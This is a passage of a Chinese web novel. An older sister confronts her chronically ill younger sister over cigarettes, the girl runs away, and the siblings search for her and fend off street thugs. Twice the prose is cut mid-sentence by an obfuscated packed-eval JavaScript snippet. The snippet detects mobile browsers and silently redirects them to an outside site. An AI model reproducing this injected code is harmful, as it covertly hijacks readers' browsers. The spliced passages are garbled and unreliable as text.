阮云琛控制不住地想到宋祈,他坐在烟雾弥漫的办公室里,眯着眼,指间夹着的烟像某种标志。没人敢靠近,没人敢反驳。 阮云琛的视线停在那烟盒上,像是钉在了什么罪证上,片刻挪不开。她慢慢地吸了一口气,却觉得空气不够,胸口像压着一块石头,沉得人透不过气来。 “这是你的?”她的声音很轻,却透着一种不容抗拒的锋利。 没有回答。 淼淼低着头,嘴唇紧抿,一副倔强的模样。那张脸在灯光下显得苍白却固执,像是一面薄薄的盾牌,拦在阮云琛面前。 阮云琛的目光从烟盒挪到淼淼的脸上。她在这一瞬间捕捉到一种无法言说的陌生感——那个小时候会追着她喊“姐姐”的小姑娘不见了,取而代之的是一个带着隐秘情绪的、固执的少年。 她看不透淼淼在想什么,也不知道她背着自己走了多远。 她的胸口涌起一种愤怒,连同恐惧一起翻滚着冲向头顶。她的声音却压得更低了:“这包烟,谁给你的?” 还是没有回答。 阮云琛几乎能感觉到自己的血液在体内翻腾。 从她有记忆起,烟草就意味着混乱、暴力和死亡。 阮云琛努力想让自己冷静下来,但思绪像被扯散的线头一样无法收拢。淼淼的肺不好,她每一次咳嗽都会让阮云琛心里一紧。医生的诊断书还在抽屉里放着,她甚至都记得上面的每一个字:遗传性肺动脉高压,不可根治。 阮云琛想说些什么,却怎么也说不出口。 她的手指微微颤抖,目光落在淼淼瘦削的肩膀上。那双肩膀依旧稚嫩,却透着一种她无法掌控的倔强。 她的脑海里闪过无数个念头:是不是她哪里做得不够好?是不是她没有尽到一个姐姐的责任?是不是这个家本身就是个失败的作品,根本承载不了任何一个人的未来? 阮云琛只觉得自己的喉咙干涩得可怕,像是被堵住了什么东西。她的目光沉了沉,声音却依旧稳得像一根拉到极限的弦:“我再问一次——这是谁给你的?” 她的话落下后,房间里一片死寂。 淼淼倔强地抬起头,嘴唇动了动,却什么都没说。那眼神让阮云琛更加无力——她意识到,自己的话可能根本到不了淼淼的耳朵里。 她觉得有什么东西,在这一刻碎裂了。那些她用尽力气维护的、想要营造的安稳生活,似乎从一开始就注定会崩塌。 房间的空气仿佛被什么无形的东西挤压着,闷得让人喘不过气来。 阮云琛站在床边,手心的热度仿佛一块滚烫的铁。她盯着烟盒,像是要把它烧出一个洞。再抬头时,目光沉沉地落在淼淼脸上。 “解释一下。”她的声音很平静,却压着一种不容抗拒的冷意。 淼淼倔强地站在房间一角,背靠着书桌,手握成拳,指甲深深地掐进掌心。她的眼神里带着一种半是防备、半是挑衅的意味,却没有开口。 “说话。”阮云琛的声音低了一些,尾音冷得像一片刀锋。 “同学给的。”淼淼终于开口了,声音轻得几乎听不见。 “同学给的?那你就收下了?还抽了?”阮云琛盯着她,没有动,指尖轻轻敲了一下烟盒,“刚才我一进家门就闻到的烟味,是你抽的是不是?” 淼淼的眼神闪了一下,嘴唇抿紧,倔强得像一块磐石:“抽了又怎么样?” “又怎么样?”阮云琛突然笑了一下,但那笑容一点温度都没有,“你知不知道抽烟会怎么样?你的身体……” “我的身体怎么了?”淼淼的声音猛地拔高,她的脸涨得通红,眼眶也微微发热,“不就是有点问题吗?从小到大你们不都知道嘛!那又怎么样?!” 空气一下子安静下来。 阮云琛的手指顿了一下,脸上的怒意像是一瞬间被什么压住了,但很快又重新燃起,她缓缓开口,一字一句:“淼淼,你到底知不知道你在说什么?” “我当然知道!”淼淼的声音发颤,几乎是吼出来的,“我早就知道!我生下来就是这样,你们每个人都像是我欠了你们似的!你们觉得你们为我付出了很多,是不是?!那我还你啊,我以后什么都不要了行不行?!你们爱干嘛干嘛!” 阮云琛的胸口起伏了一下,一瞬间有些站不稳脚跟。 “你觉得,我们欠你的?”她的声音低了下去,但那冷意却更深了,“还是说,你觉得你可以拿你的命,换你所谓的自由?” 淼淼的眼泪一下子掉下来,但她没有回答,只是死死地瞪着阮云琛。 “你觉得你可以这样顶嘴,可以这样折腾自己。”阮云琛的声音冷得不像话,“那好,我问你一句,你到底知不知道,我和阮秋——我到底为什么让你活到今天?” “那又怎么样!”淼淼哑声喊出来,眼泪糊满了脸,“你们根本不是我真正的家人!我凭什么听你们的?!你不是我妈,秋哥也不是我爸!廖叔叔更不是亲人!你们...你们算什么啊!” 这句话像一记重锤,狠狠砸在阮云琛心口。 她沉默了一瞬,抬眼看着淼淼,眼神冰冷得像一片死水。她的声音低到几乎听不见,却像锋利的刀刃,割裂了房间里的每一丝空气。 “你再说一遍。”她缓缓开口,语气平静得让人心寒。 淼淼咬着嘴唇,声音拔高了一些,仿佛所有的委屈都在这一刻涌了出来,“你们凭什么管我?凭什么让我听你们的?” 空气像是被扯开了一道口子,所有的情绪一下子倾泻出来。 阮云琛一步上前,逼近到淼淼几乎无处可退:“凭什么?就凭我把你从那个地方带出来,就凭我为了让你活到现在——” 她的声音戛然而止,像是撞上了一堵无形的墙。她没有继续说下去,呼吸却在胸腔里沉重地起伏着。 淼淼狠狠一甩书包,终于爆发:“我没让你带我出来!我也没求你!你凭什么觉得我欠你的?” 阮云琛的手一僵,嘴唇微微颤抖了一下,却迅速抿紧。她没有再逼近,反而退后了一步,目光落在淼淼身上,带着几分近乎陌生的冷淡。 淼淼拎起书包,眼圈红得几乎要滴出血。她看着阮云琛,语气咄咄逼人:“你以为你是谁?你也不过是把我当成个负担,早就烦了我吧?” 阮云琛抬眼,目光终于彻底冷下来:“行啊,觉得我是多管闲事是吧?” 她顿了顿,声音平静得让人发冷:“那你滚,滚了就别回来。” 淼淼的脸色一瞬间僵住了。 她看着阮云琛,像是不敢相信她真的会说出这种话。可她没有再争辩,眼泪在眼眶里打着转,却倔强得没有落下来。 她转过身,猛地拉开了门,动作用力得几乎扯断了门把,背影消失在门外的时候,砰的一声,震得墙壁上的挂钟晃了一下。 阮云琛站在原地,眼神沉沉地落在那扇紧闭的门上,手垂在身侧,攥紧成拳。她没有追出去,也没有动,像是一尊石像,被定格在这一刻。 没关的窗子透着风,夜风夹着一点凉意,扫过后颈,激得汗毛直立。 楼下的声响渐渐远去,唯独脚边的空气沉得发紧,像是一根扯满的弦。 阮云琛动了动手指,感到骨节有些发麻。刚才的情绪像是一场激烈的搏斗,她赢得了胜利,却失去了什么。 屋里安静得像一座空城。 房间里只剩下烟盒和抽屉拉开后未合上的“咔哒”声,像一个被卡住的节拍器,机械而沉闷。阮云琛站在桌边,手无意识地抓紧了桌沿,指关节隐隐泛白。 地上的几本书散落成扇形,封面朝下,像是被抛弃在此的证据。 阮秋走进来的时候,动作很轻,像一阵风滑过房间,没碰到任何东西,却让人无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188140|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处可藏。 他弯下身,一本一本地将书捡起来。纸页翻动时发出的细微声响,像是用针尖挑开了沉默的外壳。 阮云琛没有动,也没有开口。 她的目光落在桌上,像是盯着某个无形的点,眼神却散得厉害。 “姐。”阮秋直起身,将书放在桌边,轻声喊了她一声。 阮云琛像是没有听到,身体依然僵硬,甚至没有转头看他一眼。 “你知道她不是那个意思。”阮秋没有催促,只是平静地陈述,像是用最稳妥的方式将一句话递到她面前。没有锋利的边缘,没有多余的语调。 阮云琛缓缓闭了闭眼,嘴唇动了动,却没有发出声音。 过了许久,她才低声开口:“我刚刚……是不是说得太重了?” 阮秋没有回答,只是站在原地,目光在她身上停留了几秒。 没有怜悯,也没有责备,更多的是一种难以言喻的耐心——仿佛一块沉稳的礁石,承载着她全部的怒火与无助。 他缓缓走到桌边,低下身去,将抽屉里的烟盒给拿了起来。 烟盒表面有几道被踩过的浅痕,指尖触上去,纸张微微变形,边角卷起。他盯着看了几秒,然后转过身,将它轻轻握在手中,盖住了那些刺眼的字。 阮云琛依旧站在原地,像是被钉在那里,动弹不得。 她的视线从他手上的烟盒移到他的脸上,又迅速移开,停留在房间某个模糊的角落。 她的呼吸微微发紧,但她什么都没说,只是下意识地伸手抹了一把桌面,像是在清理并不存在的灰尘。 房间里一片安静,只有窗外的风偶尔吹动窗帘,发出些微的沙沙声。时针的转动声在静谧中显得格外清晰,像是心跳的回声。 “姐。”阮秋直起身,声音低而稳。他没有试图靠近她,只是站在那里,像是一面镜子,将她的情绪一层层映射出来。 阮云琛抿了抿唇,指尖无意识地在桌沿上摩挲,像是在试图找到某种出口,但她找不到。过了很久,她才开口:“我刚刚……是不是说得太重了?淼淼她......” 她没再说下去。所有的话像是卡在了喉咙里,出不来,也咽不下。指尖仍然死死抓着桌沿,那力道让人看着都觉得疼。 阮秋抬头看她,目光落在她攥紧的手上,又落在她微微颤抖的肩膀上。他没说话,只是慢慢伸出手,将桌上的烟盒推到了桌角,盖住了它的标语。 阮秋没有回答,只是慢慢走了过来。他的动作没有任何多余的声音,直到站在她身旁,伸手将桌上的画纸一张张整齐地摞好。 那是一幅未完成的速写,线条潦草得像淼淼此刻的心情。 “她刚才说的那些话。”阮云琛终于开口,声音里带着一丝不易察觉的沙哑,“是不是早就在她心里想了很久了?” 她的手掌紧紧按在桌面上,像是在努力稳住什么。可她按住的只是桌面,却压不住那种从内心深处翻涌而上的东西——愤怒?不甘?还是那些说不清道不明的情绪。 阮秋静静地站着,他低头看了一眼画纸上的内容,那些杂乱无章的线条勾勒出的轮廓,隐约是一张笑脸。 他轻轻叹了口气,将那幅画翻了过来,压在整齐的纸堆下面。动作慢得像是刻意的,却没有丝毫多余的拖泥带水。 阮云琛的呼吸重了几分,她没有抬头,也没有转身,只是盯着那幅画发呆,像是想从那几个字上找到什么答案。 “我......我不该那么说。”她说。 阮秋叹了口气。 他的声音压低了些:“你不能用你的方式去懂她。” 阮云琛没有动,肩膀微微绷着,像是被什么东西钉住了。她的目光落在那幅画上,眼神却没有焦点,像是一片泛不起涟漪的死水。 可忽地,她像是被什么无形的力量击了中,全身的力气一下子被抽空,膝盖微微一软,整个人不受控制地坐到了床缘。 那动作没有丝毫预兆,像是一根终于被压断的弦。 她垂着头,手指不由自主地攥住床单一角,力道紧得让指节发白。 阮秋又叹了口气。 他缓缓坐在了阮云琛身边,抬起手,动作犹豫了一下,最终还是将她揽进了怀里。 没有任何语言,也没有任何解释。 他的动作很轻,却没有丝毫松懈。 手臂的温度透过布料传递过来,像是为了缓解她身上那种无处安放的紧绷感。他的下巴轻轻贴着她的发顶,没有动作,也没有说话,只是让这个拥抱变成了一种无声的安抚。 阮云琛的身体僵了片刻,似乎对这样的亲近感到意外。可那种意外只停留了一瞬,她的肩膀缓缓垮了下来,像是放弃了所有的抵抗,终于卸下了防线。 “我只是害怕。”她低声开口,音量小到几乎听不见,像是对谁说,又像是对自己说。 话音落下后,房间里只剩下呼吸声。 阮云琛没有再继续说话,像是在斟酌,又像是在回避。良久,她的声音再次响起,带着某种被压抑得太久的疲惫:“她身体不好,她做什么我都得提心吊胆。可有时候,我又觉得……我是不是哪里没做好,让她觉得我们不是家人。” 她的语调很轻,听不出明显的起伏,却让每个字都像是一根刺,扎得人无法忽视。 “我怕她恨我。”她顿了一下,目光落在地板上,“怕她像……像我以前那样,觉得自己活得没意思,觉得谁都不懂,觉得走了也没关系。” 那最后一句话像是从喉咙里挤出来的,轻得几乎被吞掉,落在空荡的房间里,却掀起了无声的风暴。 话音落下后,房间里只剩下呼吸声。 阮云琛缓缓闭了闭眼,指尖的力道微微收紧,又松了开。 “我知道她在长大。” 她顿了顿,声音却像是从嗓子眼里硬生生地挤出来的,带着干涩,和说不出的痛:“她可以不听我的,可以讨厌我,可以恨我,可是烟......” 这句话里没有愤怒,也没有责备,只剩下一种疲惫到极点的平静,像是一片没有归属的海,漫无边际。 “说不定,她并没有抽呢?”阮秋缓缓说。 他看着她,直直看向她的眼睛,像是在权衡,又像是在寻找某种合适的方式开口。 “淼淼她……”阮秋停顿了一下,语调放得很轻,“也许只是想试探你。也许她也害怕。” 阮云琛的目光微微一颤,没有抬头,像是听进去了,却又像是没听见。 阮秋没有移开视线,他的声音低而稳,像是在抚平什么裂痕:“阮云琛,有些话,应该等你们都平静下来了,再问清楚。” 88. 找寻 空气里弥漫着某种压抑的静默。 阮云琛的目光缓缓地移了开来。 她低头看着自己的手掌,指尖蜷了蜷,像是要抓住什么却又抓不住。她的肩膀颤了一下,过了许久,终于轻轻叹了口气,直起身体,将自己从阮秋的手臂下抽出来。 阮秋的目光始终跟着她的动作,却没有再说话,只是缓缓地站起了身。 “我们去找她吧。”他的声音不大,却带着一种不容拒绝的平静,“她应该还没走远。” 阮云琛盯着那未灭的台灯,许久许久,才终于点了点头。 她的肩膀缓缓垮下来,像是失去了最后的力气。她走到门口时停了一下,低声说:“她要是再跑,我……” 她没有再说下去,像是突然被掐住了喉咙,剩下的字句卡在喉头,只化成了一声无声的叹息。 叛逆期谁都会有。 还是那句话——叛逆期谁都会有。 只是阮云琛没有对淼淼那所谓的“叛逆期”做好全部的准备。 她甚至早就做好了淼淼说“你压根不是我的亲人”这种话的准备,也想过淼淼会指责她“杀人凶手”,说她阮云琛才是让她失去爸爸妈妈的罪魁祸首。 这些都没什么......对,这些都没什么。 过去的二十年里,阮云琛一直不断地告诉自己,这些都是无可辩驳的事实,是她真正犯下的罪。 妈妈生病的时候,她没有送她去医院,没有钱和能力送她去医院;爸爸酗酒打人的时候,她没有办法让他戒酒,没有办法从他手里保护妈妈。 是她能力不足,是她太过懦弱,是她没办法让淼淼拥有父母——淼淼甚至在七八岁时,还不知道什么是“爸爸”,什么是“妈妈”。 甚至阮云琛直到后来才意识到,是她......自顾自地跳进了宋祈的圈子。 没错,正如廖致远所说,即使是没有宋祈,阮启明也不是她杀的——更不是张庆发杀的。 那不是狡辩,那就是事实。 阮启明欠下的,她只要逃得够远——她只要有能力逃得过和安堂的追踪,她就可以带着淼淼重新开启新生活。 可那时候的她没有能力,后来意识到了一切的她又已经深陷泥沼。 阮云琛接受淼淼的一切指责,可她...... 可她偏偏不能容忍淼淼不把自己的身体当回事。 抽烟这种事情......抽烟这种事情,纵使是一个健全的成年人都会患上肺癌,更别提一个天生患了遗传肺病的孩子。 她才......十四岁不到啊。 上次回来的时候,阮秋其实告诉了她淼淼之前为什么逃走,为什么逃去了原来的家。 是她的同学问起父母的事。 阮云琛也想过,那该是怎样的一种场景——在教室里,阳光透过窗户洒在桌面上,孩子们天真而好奇的语气,不经意间提起父母,彼此交换着那些温暖又琐碎的小故事。然后轮到淼淼,那个带着点天真的孩子,或许一时间不知道该怎么回答。 ——“你的爸爸妈妈呢?” 阮云琛能想象到那些目光聚焦在淼淼身上的样子,仿佛一种无声的审判。 她知道她和阮秋争吵的那天晚上,她看到淼淼的眼眶红红的,却一句话也不肯说。她也没追问,只是简单地让淼淼吃了饭,然后当做什么都没发生。 她以为沉默是最好的解决方式,以为只要不提,那些伤口就能自己结痂,不会再疼。 她错了。 这一切发展到今天,淼淼偷偷藏着烟,把自己撕扯成一个孤立无援的小孩,终究是她的疏忽。 她没有教会她如何面对那些目光,没有教会她怎么对抗那些让她羞耻又痛苦的问题。 阮云琛突然发现,她做得最多的,竟然只是给淼淼搭建了一座牢固的“围墙”,却忘了告诉她墙外的世界是什么样子。 那些被困在墙里的委屈、愤怒和迷茫,一点一点地积累,然后找到了这样一种方式炸开。 ——是她的错。 阮云琛盯着一明一灭的路灯,光线将夜空下的树影割成一块块凌乱的影子。街边传来混混的浪笑,烟味一波又一波地扩散开来。 阮云琛忽然觉得自己的力气像是被什么抽走了一样,无数复杂的情绪在胸口盘旋,最终却只能化成一种无可奈何的钝痛。 她应该早就知道的。 她是淼淼的姐姐,是淼淼的监护人。淼淼的失控,是她的失责。 可为什么......为什么连以前的家都找不到淼淼的身影? 屋子里布满了灰尘,只有几个浅浅的脚印,还有房间各处隐约的痕迹,那是不小心碰倒蹭到时留下的,可那痕迹上却也布了层薄薄的灰。 “她来过。”阮云琛说,“但不是今天。” 阮秋愣了愣,神色变得有些凝重:“我们分头找。” 街灯将影子拉得很长,阮云琛快步穿过东边的几条巷子,低头给路过的店家看照片,连声音都带着急促:“有没有见过这个小姑娘?” 店主摇头,她就转身走开,连句谢谢都忘了说。鞋底踩在砖地上,传来单调的回响,像是隔着厚重的水汽敲进耳膜,节奏急促得令人心烦。 空气里有风,带着夜晚特有的凉意,却不能抚平心底的焦躁。每转过一个巷口,她的脚步都不自觉地加快,耳朵也敏感得像拉满了弦,捕捉着任何可能的声音。 阮云琛的步子越来越快。 每一扇陌生的门,每一个阴影下模糊的轮廓,都像是某种潜在的答案,又像是不断嘲笑她的空白。 巷子深处传来猫的叫声,阮云琛停下脚步,手指无意识地抓紧了外套的领口。 她知道淼淼不可能藏在这种地方,可潜意识里却带着某种无法控制的希望——希望她能从拐角转出来,像小时候那样扑过来,带着一点撒娇的意味喊她“姐”。 可是没有。 什么都没有。 风穿过巷口,卷起一片细细的沙土,撞在阮云琛的鞋面上。她抬脚跨过一块石头,眼前的世界像是突然塌陷成了一片黑洞。心跳开始紊乱,像一根拉紧的弦,随时可能崩断。 她掏出手机,屏幕的光在夜色中晃了一下,照亮了她略微颤抖的手指。拨出去的电话没有人接,她强迫自己深吸一口气,又拨了一次。依旧是忙音。 空气里没有声音,只有她急促的呼吸和风擦过耳边的低啸。 她开始想象那些可能的场景——淼淼站在街边,被一辆车急刹车灯的光线映红了脸;淼淼被一群混混堵在角落,害怕地蜷缩着身体;甚至,淼淼倒在某个无人注意的地方,冰冷的路灯光照在她身上。 阮云琛闭上眼,手指猛地捏紧了手机,屏幕发出一声脆响。 她的胃开始不适地翻滚,像是被某种无形的压力压住了。嗓子眼里一阵发紧,连呼吸都显得不顺畅。她用力咬了咬牙,脚步却下意识地停了一瞬,像是害怕踏出下一步会迎来真正的噩耗。 不可能的,她告诉自己。 她一定还在某个地方。 可是理智被挤压到极致,另一种更深层的恐惧却疯狂涌了上来。她过去的记忆、那些泥泞和绝望的片段,一个接一个,仿佛重新活了过来,把她整个人包围住。 那是她最害怕的东西。 她已经无数次错过那些她以为还能抓住的东西——从前是她的家,现在是淼淼。 手机突然震动了一下,屏幕的光像针一样扎进她的眼睛。阮云琛怔了一瞬,猛地低头看了一眼,手指有些发抖地滑开接听键。 “找到淼淼了!快来……!”那头的声音急促而短促,背景里夹杂着嘈杂的声音,还有隐约的喊叫。阮秋的声音里带着隐忍的压低,却依然透出一股慌乱。 然后是一声闷响,电话断了。 阮云琛的心骤然一沉,脚步几乎是本能地往回走。 巷子尽头的阴影模糊得像一张脏兮兮的画布,掩盖了那片小小的空地,那里传来的声音零散又压抑,像有人故意在低声咒骂,又像是风把远处的呓语带到了这里。 阮云琛赶到的时候,先看见了阮秋。 他半跪在地上,护着倒在他怀里的淼淼,一只手撑着地面,指尖已经磨破,渗出血来。灯光把他脸上的疲惫照得一清二楚,嘴角裂开了一道口子,流下来的血把他的白T恤染了一块。 对面站着几个人影,肩膀宽得像是墙,他们手里攥着棍子或别的什么,神情懒散而冷漠,却透着某种危险的挑衅。 “还挺硬气啊。”其中一个叼着烟的男人笑了笑,烟雾从他嘴边散开,“护着她?护得了一时,护不了一辈子。” 阮云琛的目光从他们身上一一扫过,冷而锐利,像是刀尖掠过一块块冰冷的铁。她没有说话,连眼神都没有丝毫波动,像是看惯了这种场景,看透了这种人。 可脚下却在下一秒动了。 鞋底碾过地面,发出轻微的声响,像是一把刀从鞘中抽出。她的步子不快,但每一步都带着某种难以言喻的压迫感,空气像是被撕开了一道无形的裂缝,刺入所有人的耳膜。 烟雾还未完全散开,她的身影已经穿过了它的缠绕,带着一种迅猛的决绝。她的速度很快,但动作却没有任何多余,直直逼向那个男人,像是一股裹挟着寒风的利刃,干脆利落,毫不犹豫。 那个男人显然没有料到,嘴角的笑意僵了一瞬,但下一秒,他就感到胸前一股剧烈的力道袭来,逼得他连退了几步,险些撞到身后的人。 阮云琛站定,目光抬起,沉沉落在他脸上。没有愤怒,没有咒骂,甚至连情绪都被压制到了极点,却让对方的后背冷汗冒了出来。 “再说一遍?”她的声音低而冷,像是刀锋轻轻划过石面,每一个字都扎进了人心里,“护不了什么?” 对方没有回答,目光在她和阮秋之间游移,似乎还在权衡眼前的局势。 站在一旁的另一个男人终于忍不住了,扬起手中的棍子,动作带着几分试探,却又明显存了力道。木头切割空气的声音刚响起一半,就被她瞬间打断。 阮云琛侧身闪开,动作干净利落,像是一道骤然掠过的风。紧接着,她的手肘狠狠撞上那人的胸口,力道之大让他整个人倒退了两步,重重撞在墙上。 木棍从他的手里滑落,砸在地面上,发出清脆的响声。 短短几秒的时间,剩下的人已经不由自主地后退了一步。有人骂骂咧咧地握紧手中的武器,却没有人再敢轻举妄动。空气里弥漫着木屑和一丝隐约的血腥味,随着夜风蔓延开来。 阮云琛站定,目光冷冷地扫过他们,像是在给这场对峙画上最后一道刀锋。 她抬起手,擦了擦嘴角,那里并没有血,只是她惯常的动作,可这动作却利落得让人心生寒意。 “再敢动一下他们,试试看。”她的声音平静,甚至带着一种压抑的平和,却让人感到一种从骨子里透出来的威胁。 混混们互相看了看,神色间带着难掩的迟疑,似乎在衡量眼前的局势。他们不是没见过狠人,但阮云琛身上的气场,像是一把已经出鞘的刀,寒光乍现,令人无法忽视。 为首的男人低声咒骂了一句,目光仍旧停留在她身上,带着几分不甘和阴鸷。他嘴角叼着的烟还在燃,青灰的烟雾在他的脸庞掩出模糊的轮廓。他看着阮云琛,似乎还想说什么,但最终像是被某种无形的力量压住,只得转过身,沉着脸朝后挥了挥手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194644|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“记住了,”他冷笑了一声,嗓音像破了洞的喇叭,散发着危险的低哑,“这事儿还没完。你厉害是吧?看你能对付几个,再厉害,你们也顶不住李成庆的人。” 他特意将“李成庆”三个字咬得很重,像是故意要将它刻进空气里。说完,他冷哼一声,回头再瞥了她一眼,那眼神里分明带着嘲讽,却又藏着深深的忌惮。 脚步声渐渐远去,巷子里只剩下散不开的风。几片墙皮在风中剥落,地上的烟头还未熄灭,烫出了一点点明灭的红光。 阮云琛站在那里,狠狠盯着那些混混的背影消失在转角,直到脚步声完全被夜风吞没,她才缓缓松了口气。 胸口的起伏依然无法平复,肩膀随着呼吸一下一下地抖动,仿佛整个世界都随着这片刻的喘息摇晃起来。 她的手指微微蜷起,掌心带着冷汗,像是要攥住什么,又无从下手。脚下的地面似乎在晃动,耳边的风声也变得遥远又刺耳。刚才的对峙像是一场失控的梦,而她却始终没能完全醒过来。 她转过身,阮秋还跪在地上,怀里紧紧抱着淼淼,像是抓住了最后的浮木。 淼淼的眼睛紧闭,似乎没有受伤,但脸色发白,脆弱又可怜。 阮云琛的喉咙像是被什么东西堵住了,连呼吸都开始发紧。 她走过去,蹲下身,手指探向了淼淼的脸。 那动作比她自己想象得要轻得多,甚至带着一点迟疑。触到皮肤的瞬间,那一丝凉意让她的心脏猛地一缩,像是有人攥紧了它,狠狠地拧了一下。 “她……”阮云琛张了张嘴,声音低得几乎听不清。 她想问,又不知道该问什么。 问她怎么样? 很明显,不怎么样。 问刚才发生了什么? 答案也很显而易见,一个小姑娘大半夜走在路上被混混搭讪,阮秋去救,却被伤到。 “没事。”阮秋的声音很低,透着点喘息的沙哑,“刚才还醒着……后来可能被吓到了。” 他的声音比她更平静,却也藏着一丝她能听懂的疲惫。 他的怀抱很紧,像是要用自己的体温唤醒淼淼,但他的脸上却没有任何表情,只是低头看着妹妹,目光专注得像是在寻找某种答案。 阮云琛的手停在淼淼的额头上,指尖颤抖了一下,然后停住了。 她闭了闭眼,强迫自己冷静下来,可呼吸还是乱的,心跳也乱的。明明就在眼前,明明触手可及,她却觉得有什么东西在飞快地失控,抓也抓不住。 她的脑海中一片混乱,画面一帧帧闪过,淼淼小时候倔强地攥着她衣角要她买糖的模样,笑着冲她喊“姐”的声音,甚至还有那个沉默无声的深夜,淼淼抱着膝盖坐在窗边,用力忍着不让自己哭出声…… 所有画面都挤在一起,像是一根弦被拉得越来越紧,最终在这一刻断开。 可那弦断了,情绪却没有停下,反而像失了控制的河水,从豁口处倾泻而出。 她站在那一片混乱里,感觉自己的身体像是被掏空了,腿上隐隐发软,但意识却被拉得异常清晰。 目光一寸一寸下移,扫过地上的影子,再到阮秋半跪的身影——他抱着淼淼,怀里的衣角被血渗出了暗色的痕迹。 他垂着眼,表情隐在夜色里看不真切,但从微微颤抖的肩膀上,阮云琛看出了疲惫和隐忍。 一股复杂的情绪在胸口翻涌而上,熟悉又陌生。她忽然觉得,那些画面不仅仅属于淼淼,还有阮秋。这个一直站在她身后,像影子一样默默存在的人,现在却成了自己最不愿看到倒下的那一部分。 她动了动嘴唇,像是要说什么,却发现喉咙像被什么堵住了一样,发不出声音。 夜风擦过耳边,带来一丝刺骨的凉意,仿佛要将她从某种恍惚中拽回现实。 阮云琛垂下眼,终于蹲下身,声音沙哑,轻到几乎像蚊蝇振翅:“你受伤了。” “没事,”阮秋抬起头,脸上的汗混着血,“她还好就行。” 他的语气平静得过分,甚至有些麻木,可这并没有安抚阮云琛,反而让她心里某种更深的恐惧爬了上来。 她的手指蜷紧了,指甲压进掌心,刺出一片细微的痛感,却无法平复她的呼吸。 她知道自己的脆弱已经暴露无遗,毫无保留。 她知道这份保护的责任压在她身上,却不敢回头看自己究竟还能撑多久。 阮云琛撑着一只手站起来,另一只手却始终护着淼淼,怕她被碰着。 她站起身,想要伸手接过淼淼,阮秋却摇摇头:“你扶我一把,我背着她,别让她掉了。” 阮云琛沉默了一瞬,喉咙里像卡着什么,最终什么都没说。 直到打开门,将淼淼安顿下来,确认她的呼吸平稳后,阮云琛才回过身来。 她轻轻关上了淼淼的房门,走到阮秋身边,不等对方说话,直接抬手把他推进了自己房间,按住了他的肩膀,把他摁坐在了床边。 阮秋微微一怔,还没来得及反应,阮云琛已经拿来医药箱。 房间里的灯光有些刺眼,她的动作快而干脆,没有给人任何推辞的余地。 阮秋张了张嘴:“姐……” 阮云琛没有抬头,语气平淡得听不出情绪:“别动。” 话落,她蹲下身,捏住他的胳膊,把袖子小心地卷上去。 伤口并不算太深,却因为沾了灰显得有些触目惊心。阮云琛盯着那道伤口,指尖按着酒精棉的力度比平时稍重了一些,却又克制着没有更用力。 空气安静得只有棉签擦过皮肤的细微声响。 “下次......”阮云琛开口了,声音低得像是从喉咙深处挤出来的,“别逞强。” 89. 青春期 淼淼大概是惊吓过度加上真的困了,一直睡到了半夜才醒。 房间里只开了一盏小灯,昏黄的光打在墙上,将整个空间笼罩在一种模糊的静谧中。阮云琛坐在床边,手里捏着一块湿毛巾,眼神低垂着,似乎在发呆。 淼淼醒来的时候,没有立刻出声,眼睛微微睁开,视线模糊了一会儿,才逐渐聚焦到阮云琛的身影上。 她的记忆一点点倒退回去,巷子里的阴影、尖锐的声音、阮秋护在她面前的身影,以及……阮云琛那一瞬间的眼神。 她猛地缩了缩身体,像是想把自己藏起来。 阮云琛察觉到了她的动静,却没有立刻看向她。只是将毛巾放在手边,轻轻扭了一下头,目光沉沉地落在她的脸上。 “醒了?”她的声音很低,很平静,像是怕惊动了什么,缓缓的,是不同于往常的轻柔。 淼淼没有回答,喉咙像是被什么堵住了一样。她的眼睛开始发酸,几乎要掉下泪来,但她拼命忍住了,手指死死攥着被子的一角,指节因为用力而泛白。 阮云琛没有催她,也没有多说什么。 时间像是一片凝固的湖水,静得让人喘不过气来。 窗外的风偶尔吹过,掠起一阵细微的树叶声,像是搅动了一汪死水,却很快归于沉寂。房间里只有墙角的台灯发出微弱的嗡嗡声,像是孤独地在对抗无边的黑暗。 淼淼动了动,裹紧了被子,身体蜷缩得更小了一些。阮云琛低垂的目光没有移开,手指间的湿毛巾被她无意识地揉了又揉,褶皱的布料上还残留着一点凉意。 她什么都没有说。 这一片沉默像是一张无形的网,牢牢罩住了整个房间。 淼淼盯着被子的边缘,视线模糊得几乎看不清线头的走向。 泪水还没有流出来,但眼睛已经开始发烫,鼻子也不争气地一阵发酸。她用力闭了一下眼,却止不住那股情绪的翻涌,仿佛一块尖锐的石头卡在喉咙里,堵得她喘不过气。 她能感受到阮云琛的视线落在自己身上,却又没有直接看向她——那种感觉比任何责备都要让人难受。 时间一点点过去,每一秒都像是被拉得无限漫长。 淼淼的手指抓紧了被子的一角,指尖因为过度用力而发白。她张了张嘴,像是想要说什么,可声音却卡在喉咙里,怎么也发不出来。 “姐……”她终于忍不住,低声开了口。 淼淼抿着嘴唇,泪水终于顺着眼角滑了下来,她猛地用手背抹了一下,却没擦干净,反而越擦越乱。 “我没想……没想让你们伤心。”淼淼的声音断断续续,像是用尽了全身的力气,“我不是那个意思……” 她偏过头,眼泪掉得像是断了线的珠子,一滴又一滴滴汇入枕头芯里。她的手紧紧攥着被子的一角,像是抓住了最后的支撑。 “我只是……”她的喉咙哽住了,话说到一半又咽了回去,像是连解释都变成了一种负担,“我不知道、我只是觉得……” 